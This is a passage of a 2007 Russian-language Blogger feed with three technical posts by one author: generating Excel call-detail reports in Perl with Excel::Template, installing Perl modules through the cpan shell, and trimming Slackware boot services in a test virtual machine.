&lt;span style="color: rgb(102, 204, 204);"&gt; &amp;lt;worksheet &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"report"&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;   &amp;lt;format &lt;span style="color: rgb(0, 102, 0);"&gt;align=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"center"&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;valign=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"vcenter"&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;bold=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"bold"&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;border=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"2"&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;     &amp;lt;row&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;cell &lt;span style="color: rgb(0, 102, 0);"&gt;width=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"15"&lt;/span&gt;&amp;gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Откуда&lt;/span&gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;cell &lt;span style="color: rgb(0, 102, 0);"&gt;width=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"15"&lt;/span&gt;&amp;gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Куда&lt;/span&gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;cell &lt;span style="color: rgb(0, 102, 0);"&gt;width=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"15"&lt;/span&gt;&amp;gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Начало&lt;/span&gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;cell &lt;span style="color: rgb(0, 102, 0);"&gt;width=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"15"&lt;/span&gt;&amp;gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Длительность&lt;/span&gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;     &amp;lt;/row&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;   &amp;lt;/format&amp;gt;&lt;/span&gt;

&lt;span style="color: rgb(102, 204, 204);"&gt;   &amp;lt;format &lt;span style="color: rgb(0, 102, 0);"&gt;border=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"1"&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;     &amp;lt;loop &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"report_data"&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;row&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;         &amp;lt;cell&amp;gt;&amp;lt;var &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"src"&lt;/span&gt; /&amp;gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;         &amp;lt;cell&amp;gt;&amp;lt;var &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"dst"&lt;/span&gt; /&amp;gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;         &amp;lt;cell&amp;gt;&amp;lt;var &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"start"&lt;/span&gt; /&amp;gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;         &amp;lt;cell&amp;gt;&amp;lt;var &lt;span style="color: rgb(0, 102, 0);"&gt;name=&lt;/span&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;"billsec"&lt;/span&gt; /&amp;gt;&amp;lt;/cell&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;       &amp;lt;/row&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;     &amp;lt;/loop&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;   &amp;lt;/format&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt; &amp;lt;/worksheet&amp;gt;&lt;/span&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;&amp;lt;/workbook&amp;gt;&lt;/span&gt;
&lt;/pre&gt;

В данном шаблоне описывается excel документ, содержащий один лист с данными. На этом листе первая строка содержит заголовки 4-х колонок отчета: «Откуда» — номер вызывающего абонента, «Куда» — номер вызываемого абонента, «Начало» — время начала звонка, «Длительность» — длительность звонка. Остальные строки заполняются данными отчета по количеству записей в нём. Подробное описание всех тегов шаблона присутствует в документации perl модуля Excel::Template. Теперь сам скрипт report.pl:

&lt;pre&gt;
&lt;span style="color: rgb(51, 51, 255);"&gt;#!/usr/bin/perl -w -t&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;use&lt;/span&gt; strict;

&lt;span style="color: rgb(102, 0, 0);"&gt;use&lt;/span&gt; DateTime;
&lt;span style="color: rgb(102, 0, 0);"&gt;use&lt;/span&gt; DBI;
&lt;span style="color: rgb(102, 0, 0);"&gt;use&lt;/span&gt; Excel::Template;

&lt;span style="color: rgb(51, 51, 255);"&gt;# подключение к базе данных&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$dsn&lt;/span&gt;    = &lt;span style="color: rgb(153, 51, 153);"&gt;'dbi:mysql:database=...;host=...'&lt;/span&gt;;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$dbuser&lt;/span&gt; = &lt;span style="color: rgb(153, 51, 153);"&gt;'...'&lt;/span&gt;;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$dbpass&lt;/span&gt; = &lt;span style="color: rgb(153, 51, 153);"&gt;'...'&lt;/span&gt;;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$dbh&lt;/span&gt;    = DBI&lt;span style="color: rgb(0, 102, 0);"&gt;-&gt;connect&lt;/span&gt;( &lt;span style="color: rgb(0, 102, 0);"&gt;$dsn&lt;/span&gt;, &lt;span style="color: rgb(0, 102, 0);"&gt;$dbuser&lt;/span&gt;, &lt;span style="color: rgb(0, 102, 0);"&gt;$dbpass&lt;/span&gt;, { RaiseError =&gt; 1 } );

&lt;span style="color: rgb(51, 51, 255);"&gt;# задаем период формирования отчета&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$period_begin&lt;/span&gt; = DateTime&lt;span style="color: rgb(0, 102, 0);"&gt;-&gt;new&lt;/span&gt;( year =&gt; 2007, month =&gt; 6, day =&gt; 1 );
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$period_end&lt;/span&gt;   = DateTime&lt;span style="color: rgb(0, 102, 0);"&gt;-&gt;new&lt;/span&gt;( year =&gt; 2007, month =&gt; 7, day =&gt; 1 );

&lt;span style="color: rgb(51, 51, 255);"&gt;# подготовка и исполнение sql запроса на выборку данных&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$sth&lt;/span&gt; = &lt;span style="color: rgb(0, 102, 0);"&gt;$dbh-&gt;prepare&lt;/span&gt;( q/
    SELECT `src`, `dst`, `start`, `answer`, `end`, `duration`
    FROM   `cdr`
    WHERE  `start` BETWEEN ? AND ?
/ );
&lt;span style="color: rgb(0, 102, 0);"&gt;$sth-&gt;execute&lt;/span&gt;( &lt;span style="color: rgb(0, 102, 0);"&gt;$period_begin&lt;/span&gt;, &lt;span style="color: rgb(0, 102, 0);"&gt;$period_end&lt;/span&gt; );

&lt;span style="color: rgb(51, 51, 255);"&gt;# извлечение данных из базы и подготовка их для шаблона&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;@report_data&lt;/span&gt;;
&lt;span style="color: rgb(102, 0, 0);"&gt;while&lt;/span&gt; ( &lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$report_row&lt;/span&gt; = &lt;span style="color: rgb(0, 102, 0);"&gt;$sth-&gt;fetchrow_hashref&lt;/span&gt; ) {
&lt;span style="color: rgb(102, 0, 0);"&gt;    push&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;@report_data&lt;/span&gt;, &lt;span style="color: rgb(0, 102, 0);"&gt;$report_row&lt;/span&gt;;
}

&lt;span style="color: rgb(51, 51, 255);"&gt;# формирование excel отчета по шаблону и данным&lt;/span&gt;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$template_file&lt;/span&gt; = &lt;span style="color: rgb(153, 51, 153);"&gt;'report.xml'&lt;/span&gt;;
&lt;span style="color: rgb(102, 0, 0);"&gt;my&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$template&lt;/span&gt; = Excel::Template&lt;span style="color: rgb(0, 102, 0);"&gt;-&gt;new&lt;/span&gt;( filename =&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$template_file&lt;/span&gt; );
&lt;span style="color: rgb(0, 102, 0);"&gt;$template-&gt;param&lt;/span&gt;( report_data =&gt; \&lt;span style="color: rgb(0, 102, 0);"&gt;@report_data&lt;/span&gt; );
&lt;span style="color: rgb(102, 0, 0);"&gt;print&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;$template-&gt;output&lt;/span&gt;;
&lt;/pre&gt;

&lt;p&gt;Скрипт report.pl выдает excel отчет на стандартный поток вывода, поэтому вызывать его нужно так: «&lt;tt&gt; ./report.pl &gt; report.xls &lt;/tt&gt;». Как видите — ничего сложного. Подобным же образом можно генерировать excel документы и для web.&lt;/p&gt;

&lt;p&gt;&lt;span style="font-weight: bold;"&gt;P.S.&lt;/span&gt; Данный скрипт работоспособный, хотя и был немного упрощен, чтобы донести основную идею использования шаблонов. На самом деле условия отбора записей сложнее, период формирования отчета задается в аргументах скрипта report.pl; даты преобразуются во внутренний формат excel, а не вставлются текстовой строкой; решены вопросы c кодировками. Но опытному perl программисту не составит труда адаптировать этот скрипт под свои нужды.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-3900119332069476524?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/3900119332069476524/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=3900119332069476524' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3900119332069476524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3900119332069476524'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/excel-perl.html' title='Генерация Excel документов на perl'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8416685170861261369</id><published>2007-07-04T10:24:00.000+11:00</published><updated>2007-07-04T10:52:11.126+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Установка perl модулей</title><content type='html'>CPAN - это средоточие интеллектуальной мощи десятков известных и (и сотен не очень известных) perl-хакеров. Это сетевой архив тысяч perl модулей, охватывающий абсолютно все мыслимые области применения программирования. Определенно, perl сегодня не занимал бы того место, которое он занимает сейчас, если бы не было CPAN, отметившего в 2005 году своё десятилетие. Правилом любого perl программиста должно быть: сначала ищи на CPAN и только потом, в случае отсутствия там, уже пиши сам. Ведь работодатель вас ценит и платит за то, что вы умеете быстро собирать работающие машины (программы) из готовых запчастей (perl модули из CPAN), а не тратите недели рабочего времени на изобретение заново колес и шестеренок (библиотеки классов и функций).

Perl модули распространяются в виде архивов исходного кода с расширением .tar.gz. В одном архиве исходного кода может быть несколько perl модулей. Основной веб-интерфейс для работы с CPAN &amp;mdash; &lt;a href="http://search.cpan.org"&gt;http://search.cpan.org&lt;/a&gt;. На этом сайте можно найти интересующий perl модуль по структурированному каталогу или по имени. Для каждого модуля можно прочитать встроенную документацию и исходный код. Как правило, все perl модули очень хорошо документированы. Естественно, можно скачать архив исходного кода. В каждом архиве исходного кода прилагается инструкция по установке, обычно она включает распаковку архива и выполнение команд:
&lt;pre&gt;perl Makefile.PL
make
make test
make install&lt;/pre&gt;Такой метод установки прекрасно работает, но им неудобно пользоваться. Почему? Из-за зависимостей модулей. Например, для установки часто используемой библиотеки модулей &lt;tt&gt;LWP&lt;/tt&gt; (libwebperl &amp;mdash; библиотека для работы с web из perl) требуются уже установленные perl модули: &lt;tt&gt;URI&lt;/tt&gt;, &lt;tt&gt;Compress::Zlib&lt;/tt&gt;, &lt;tt&gt;HTML::Parser&lt;/tt&gt;. В свою очередь, для установки модуля &lt;tt&gt;Compress::Zlib&lt;/tt&gt; требуются уже установленные модули: &lt;tt&gt;IO::Uncompress::Gunzip&lt;/tt&gt;, &lt;tt&gt;IO::Compress::Gzip&lt;/tt&gt;, &lt;tt&gt;Compress::Raw::Zlib&lt;/tt&gt;, &lt;tt&gt;IO::Uncompress::Base&lt;/tt&gt;, &lt;tt&gt;IO::Compress::Gzip::Constants&lt;/tt&gt;, &lt;tt&gt;IO::Compress::Base&lt;/tt&gt; и &lt;tt&gt;IO::Compress::Base::Common&lt;/tt&gt;. И так далее... дерево зависимостей может быть очень большим. Скачивать и устанавливать все модули в ручную &amp;mdash; просто потеря времени. Для автоматизации процесса разрешения зависимостей существует специальный perl модуль CPAN. В его состав входит утилита cpan, предоставляющая консоль доступа к архиву. Ею мы и будем пользоваться. При первом запуске утилиты будет задано несколько вопросов по параметрам конфигурации. Ответы по умолчанию выбраны достаточно разумно, поэтому я не вижу смысла отказываться от автоматического конфигурирования:
&lt;pre&gt;root@slack11:~# cpan
/usr/lib/perl5/5.8.8/CPAN/Config.pm initialized.
...
Are you ready for manual configuration? [yes] no
...
cpan shell -- CPAN exploration and modules installation (v1.7602)
cpan&gt;&lt;/pre&gt;Если для доступа в интернет используется http proxy сервер, то необходимо задать параметры ftp_proxy и http_proxy. Если proxy сервер требует авторизацию, то url задается по схеме "http://login:password@adrr:port/":
&lt;pre&gt;cpan&gt; o conf ftp_proxy "http://adrr:port/"
    ftp_proxy          http://adrr:port/
cpan&gt; o conf http_proxy "http://adrr:port/"
    http_proxy         http://adrr:port/
cpan&gt; o conf commit&lt;/pre&gt;Чтобы проверить связь cpan с внешним миром, можно загрузить информацию о текущем состоянии базы данных модулей:
&lt;pre&gt;cpan&gt; reload index&lt;/pre&gt;Теперь модуль &lt;tt&gt;CPAN&lt;/tt&gt; сконфигурирован и готов к работе. Например, можно установить уже упоминавшуюся библиотеку &lt;tt&gt;LWP&lt;/tt&gt; со всеми зависимостями с помощью команды:
&lt;pre&gt;cpan&gt; install LWP&lt;/pre&gt;Остается только смотреть на мелькающие надписи, чувствуя себя в матрице. Однако полностью расслабится не удастся, изредка придется отвечать на возникающие на экране на вопросы. Вот собственно и всё, теперь установить любой perl модуль &amp;mdash; дело нескольких минут.

В завершение хочется отметить, что алгоритм разрешения зависимостей модулей постоянно совершенствуется, changelog впечатляет. Поэтому можно порекомендовать обновить саму утилиту cpan и установить дополнительные модули, облегчающие её работу. Утилита cpan может обновить сама себя, для этого следует выполнить команду:
&lt;pre&gt;cpan&gt; install Bundle::CPAN&lt;/pre&gt;После обновления утилиты cpan, её надо перезапустить, чтобы изменения вступили в силу. Скорее всего придется заново пройти этап конфигурирования, в автоматическом режиме, конечно :-). Вы сразу заметите, что в консоле cpan появилась возможность пролистать историю ранее введенных команд.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8416685170861261369?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8416685170861261369/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8416685170861261369' title='Комментарии: 5'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8416685170861261369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8416685170861261369'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/perl.html' title='Установка perl модулей'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5983441979965322480</id><published>2007-06-29T09:10:00.000+11:00</published><updated>2007-07-06T15:26:53.582+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Оптимизация загрузки Slackware</title><content type='html'>Сразу обозначу с какой целью производится оптимизация. В конторе, где я работаю, Slackware Linux используется на большинстве серверов. Для тестирования решений, разработки новых программ, сборки slackware пакетов я также использую Slackware, но только внутри виртуальной машины. Соответственно вся оптимизация применяется для виртуальной машины. Особенности работы:
&lt;ul&gt;&lt;li&gt;не используется графический режим, устанавливаются и работают только консольные программы. Фреймбуфер тоже не используется.&lt;/li&gt;&lt;li&gt;доступ только через ssh, как потом на рабочем сервере.
&lt;/li&gt;&lt;/ul&gt;Всё сказанное здесь верно для всех известных версий Slackware, статья тестировалась на Slackware 11. Можно использовать описанные здесь приёмы и для рабочих машин, но делать это с осторожностью.&lt;ol&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Настройка загрузчика lilo&lt;/span&gt;. Произвоится редактированием файла &lt;tt&gt;/etc/lilo.conf&lt;/tt&gt;. Задаем параметры:

&lt;pre&gt;
# графический режим консоли - текстовый
vga = normal
# задержка перед автоматической загрузкой - 5 секунд
timeout = 50
&lt;/pre&gt;

Если не планируется пересобирать ядро или менять параметры его загрузки, можно вообще отключить вывод меню:
&lt;pre&gt;
# prompt
&lt;/pre&gt;

После изменения &lt;tt&gt;/etc/lilo.conf&lt;/tt&gt;, не забудьте запустить lilo, чтобы изменение настроек вступило в силу.

&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Отключение лишних консолей&lt;/span&gt;.  Редактируем файл &lt;tt&gt;/etc/inittab&lt;/tt&gt;. Оставим одну из шести консолей, остальные комментируем:

&lt;pre&gt;
c1:1235:respawn:/sbin/agetty 38400 tty1 linux
# c2:1235:respawn:/sbin/agetty 38400 tty2 linux
# c3:1235:respawn:/sbin/agetty 38400 tty3 linux
# c4:1235:respawn:/sbin/agetty 38400 tty4 linux
# c5:1235:respawn:/sbin/agetty 38400 tty5 linux
# c6:12345:respawn:/sbin/agetty 38400 tty6 linux
&lt;/pre&gt;

&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Отключение загрузки неиспользуемых модулей ядра&lt;/span&gt;. Смотрим файл &lt;tt&gt;/etc/rc.d/rc.modules&lt;/tt&gt;. Здесь можно отключить загрузку модулей agp и эмуляции scsi:
&lt;pre&gt;
# /sbin/modprobe agpgart
...
# /sbin/modprobe ide-scsi
&lt;/pre&gt;
&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Отключение неиспользуемых демонов&lt;/span&gt;. С помощью комманды:
&lt;tt&gt;chmod -x /etc/rc.d/rc.xxxxx&lt;/tt&gt;
снимаем атрибут исполняемого файла, со всех файлов в каталоге &lt;tt&gt;/etc/rc.d&lt;/tt&gt;, кроме:
&lt;pre&gt;
/etc/rc.d/rc.4
/etc/rc.d/rc.6
/etc/rc.d/rc.K
/etc/rc.d/rc.M
/etc/rc.d/rc.S
/etc/rc.d/rc.inet1
/etc/rc.d/rc.inet2
/etc/rc.d/rc.modules-2.4.33.3
/etc/rc.d/rc.netdevice
/etc/rc.d/rc.sshd
/etc/rc.d/rc.syslog
&lt;/pre&gt;
&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Отключение неиспользуемых демонов 2&lt;/span&gt;. Чтобы отключить демон отсроченного запуска комманд и обновление индекса шрифтов, комментируем следующие строчки в файле &lt;tt&gt;/etc/rc.d/rc.M&lt;/tt&gt; :
&lt;pre&gt;
# Start atd (manages jobs scheduled with 'at'):
# if [ -x /usr/sbin/atd ]; then
#   /usr/sbin/atd -b 15 -l 1
# fi
...
# Update the X font indexes:
# if [ -x /usr/X11R6/bin/fc-cache ]; then
#   echo "Updating X font indexes:  /usr/X11R6/bin/fc-cache"
#   /usr/X11R6/bin/fc-cache
# fi
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Отключение демонов 3&lt;/span&gt;. Для экстремалов. Можно (но не рекомендуется) отключить демона журналирования syslog:
&lt;pre&gt;
chmod -x /etc/rc.d/rc.syslog
&lt;/pre&gt;

Тогда отпадает надобность в демоне запуска заданий по расписанию, используемом для ротации журналов. Комментируем строчки в файле &lt;tt&gt;/etc/rc.d/rc.M&lt;/tt&gt; :

&lt;pre&gt;
# Start crond (Dillon's crond):
# If you want cron to actually log activity to /var/log/cron, then change
# -l10 to -l8 to increase the logging level.
# if [ -x /usr/sbin/crond ]; then
#   /usr/sbin/crond -l10 &gt;&gt;/var/log/cron 2&gt;&amp;amp;1
# fi
&lt;/pre&gt;
&lt;/li&gt;&lt;/ol&gt;
Теперь остается перезагрузить виртуальную машину и убедится что всё работает. Самое время сделать снимок состояния виртуальной машины для многократного использования в будущем.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5983441979965322480?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5983441979965322480/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5983441979965322480' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5983441979965322480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5983441979965322480'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/06/slackware.html' title='Оптимизация загрузки Slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
